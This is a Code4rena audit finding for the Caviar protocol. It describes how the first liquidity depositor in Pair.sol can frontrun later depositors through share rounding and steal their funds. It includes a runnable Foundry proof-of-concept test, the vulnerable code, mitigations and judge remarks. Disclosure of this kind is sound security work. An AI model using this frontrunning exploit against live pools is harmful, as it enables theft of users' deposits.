First LP token depositor can steal subsequent depositors' tokens

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L63 https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L77 https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L426

Vulnerability details

Impact

All users funds may be stolen by the first depositor.

Proof of Concept

1. A new ETH/NFT token pair is deployed using create function in Caviar.sol.

2. An user wants to deposit 1 ETH and 100 fractional shares in the pool and calls ethPair.add{value: 1 ether}(1 ether, 100e18, 0);

3. A MEV bot sees this transaction and frontruns it by doing the following:

4. deposit 1 wei of ETH and 1 wei of fractional liquidity in the pool by calling add in Pair.sol - he gets 1 LP tokens and the total supply of the pool increases to 1, because the total supply was 0 before and we enter in this part of addQuote: https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L417

   } else {
           // if there is no liquidity then init
           return Math.sqrt(baseTokenAmount * fractionalTokenAmount);
       }

5. The MEV attacker sends 1.01 eth to the contract by calling buy: ethPair.buy{value: 1.01 ether}(101e18, 1.01 ether);

6. The users transaction is next, calling add with 1 ether and 100e18 fractional tokens - they get sent to the contract, but the user gets 0 LP tokens, because of how the addQuote function works:

   if (lpTokenSupply > 0) {
           // calculate amount of lp tokens as a fraction of existing reserves
           uint256 baseTokenShare = (baseTokenAmount * lpTokenSupply) /
               baseTokenReserves();
           uint256 fractionalTokenShare = (fractionalTokenAmount *
               lpTokenSupply) / fractionalTokenReserves();
           return Math.min(baseTokenShare, fractionalTokenShare);
       }

   Here, baseTokenShare = (1 ether * 1) / 1.01 ether = 0, and fractionalTokenShare = (100e18 * 1) / 101e18 = 0, so the return value of addQuote is 0, minting 0 shares to the user. Note that this function passes successfully and the user can't withdraw his funds from this point on.

7. The MEV attacker sends a remove transaction, pulling out his ETH and fractional tokens, effectively stealing users' deposit.

8. Note that this attack can be repeated for all subsequent depositors.

PoC:

/// @dev initial mint steal frontrun transaction test
    function testInitMintFrontrunSteal() public {
        // random addresses
        // user0 is the attacker
        // user1 is the victim
        address user0 = 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7;
        address user1 = 0x2f66c75A001Ba71ccb135934F48d844b46454543;
        uint baseAmt = 1;
        uint fractionalAmt = 1;
        uint256 minLpTokenAmount = Math.sqrt(baseAmt * fractionalAmt);

        // send eth pair tokens to ethPair contract as reserves
        // this can be done by calling wrap() and sending fractional shares to contract
        deal(address(ethPair), address(ethPair), 1000e18, true);

        // send eth pair tokens to user - this is the attacker address
        // again, this can be done by calling wrap()
        deal(address(ethPair), user0, 1000e18, true);

        // mint 1 base token + 1 fractional token
        vm.startPrank(user0);
        uint256 lpTokenAmount = ethPair.add{value: baseAmt}(baseAmt, fractionalAmt, minLpTokenAmount);
        assertEq(lpTokenAmount, 1);

        // send 1 eth + 100 fractional tokens to the contract by calling `buy` and `transfer`
        ethPair.buy{value: 1.01 ether}(101e18, 1.01 ether);
        ethPair.transfer(address(ethPair), 100e18);
        vm.stopPrank();

        // // send some ethPair tokens to user1
        // again, this can be done by calling wrap()
        deal(address(ethPair), user1, 100e18, true);
        uint lpBalanceBefore = ethPairLpToken.balanceOf(user1);

        // add liquidity from standard user - 1 ether and 100e18 fractional tokens
        vm.prank(user1);
        ethPair.add{value: 1 ether}(1 ether, 100e18, 0);
        uint lpBalanceAfter = ethPairLpToken.balanceOf(user1);
        // we can see the second depositor gains 0 lp token shares for his 1 ETH and 100 fractional tokens
        console.log('LP balance gained by sending 1 eth and 100e18 fractional tokens: %s', lpBalanceAfter - lpBalanceBefore);

        // from this point on the attacker can withdraw

        // attacker withdraws the tokens
        vm.startPrank(user0);
        uint ethBalBefore = user0.balance;
        ethPair.sell(900e18, 0);
        uint ethBalAfter = user0.balance;
        // we can see malicious attacker gets balance by withdrawing
        assertGt(ethBalAfter - ethBalBefore, 0);
    }

To run the PoC, just copy and paste the test in Add.t.sol, and run forge test --match testInitMintFrontrunSteal -vv

Tools Used

Forge, VS Code

Recommended Mitigation Steps

1. Mint a set number of shares on the first mint call - for example, 100. This would make the attack unfeasible for the attacker.
2. Add a require(lpTokenShares != 0, "LP tokens are 0") check to ensure that users do not mint 0 LP shares.

[c4-judge]

berndartmueller marked the issue as duplicate of #442

[c4-judge]

berndartmueller marked the issue as satisfactory